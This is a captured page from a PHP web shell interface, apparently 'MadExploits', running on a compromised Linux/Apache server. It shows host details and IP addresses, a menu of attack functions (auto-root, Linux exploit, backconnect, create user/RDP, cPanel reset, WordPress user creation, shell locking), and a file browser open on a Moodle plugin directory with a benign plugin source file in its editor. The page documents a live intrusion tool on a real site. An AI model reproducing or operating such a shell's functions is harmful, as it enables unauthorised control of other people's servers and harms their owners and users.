Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
stash /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
drop.php
7.44
KB
-rw-r--r--
drop_pickup.php
4.46
KB
-rw-r--r--
drop_snippet_restore_decode_ru...
3.61
KB
-rw-r--r--
external.php
13.06
KB
-rw-r--r--
helper.php
4.13
KB
-rw-r--r--
item.php
4.26
KB
-rw-r--r--
manager.php
35.86
KB
-rw-r--r--
page_helper.php
7.42
KB
-rw-r--r--
persistent.php
28.11
KB
-rw-r--r--
restore_decode_rule.php
3.01
KB
-rw-r--r--
shortcodes.php
4.83
KB
-rw-r--r--
stash.php
4.59
KB
-rw-r--r--
trade.php
5.39
KB
-rw-r--r--
tradeitems.php
1.71
KB
-rw-r--r--
user_item.php
6.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : shortcodes.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Shortcodes handler. * * @package block_stash * @copyright 2018 Frédéric Massart * @author Frédéric Massart <fred@branchup.tech> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace block_stash; defined('MOODLE_INTERNAL') || die(); use block_stash\drop; use block_stash\item; use block_stash\manager; use block_stash\output\drop as droprenderable; use block_stash\output\drop_image; use block_stash\output\drop_text; use block_stash\output\trade as traderenderable; /** * Shortcodes handler class. * * @package block_stash * @copyright 2018 Frédéric Massart * @author Frédéric Massart <fred@branchup.tech> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class shortcodes { /** * Handle the shortcode. * * @param string $shortcode The shortcode. * @param object $args The arguments of the code. * @param string|null $content The content, if the shortcode wraps content. * @param object $env The filter environment. * @param Closure $next The function to pass the content through to process sub shortcodes. * @return string The new content. */ public static function drop($tag, $args, $content, $env, $next) { global $PAGE; $text = isset($args['text']) ? $args['text'] : ''; $image = !empty($args['image']) || empty($text); $hash = isset($args['secret']) ? $args['secret'] : null; if (empty($hash) || strlen($hash) < 6) { return ''; } $context = $env->context->get_course_context(false); if (!$context) { return ''; } $manager = manager::get($context->instanceid); if (!$manager->is_enabled()) { return ''; } // Attempt to find the drop. try { $drop = $manager->get_drop_by_hashcode_portion($hash); $item = $manager->get_item($drop->get_itemid()); } catch (\dml_exception $e) { // Most likely the drop doesn't exist, or the hash is ambiguous. return ''; } catch (\coding_exception $e) { // Some error occured, who knows? return ''; } // Can they see the drop? if (!$manager->is_drop_visible($drop)) { return ''; } $output = $PAGE->get_renderer('block_stash'); $renderable = new droprenderable($drop, $item, $manager); if (!$image) { $renderable = new drop_text($renderable, $text, []); } else { $renderable = new drop_image($renderable, $text, []); } return $output->render($renderable); } /** * Handle the shortcode. * * @param string $shortcode The shortcode. * @param object $args The arguments of the code. * @param string|null $content The content, if the shortcode wraps content. * @param object $env The filter environment. * @param Closure $next The function to pass the content through to process sub shortcodes. * @return string The new content. */ public static function trade($tag, $args, $content, $env, $next) { global $PAGE; $hash = isset($args['secret']) ? $args['secret'] : null; if (empty($hash) || strlen($hash) < 6) { return ''; } $context = $env->context->get_course_context(false); if (!$context) { return ''; } $manager = manager::get($context->instanceid); if (!$manager->is_enabled()) { return ''; } // Attempt to find the trade. try { $trade = $manager->get_trade_by_hashcode_portion($hash); } catch (\dml_exception $e) { // Most likely the drop doesn't exist, or the hash is ambiguous. return ''; } catch (\coding_exception $e) { // Some error occured, who knows? return ''; } $tradeitems = $manager->get_trade_items($trade->get_id()); $renderable = new traderenderable($trade, $manager, $tradeitems); $output = $PAGE->get_renderer('block_stash'); return $output->render($renderable); } }
Close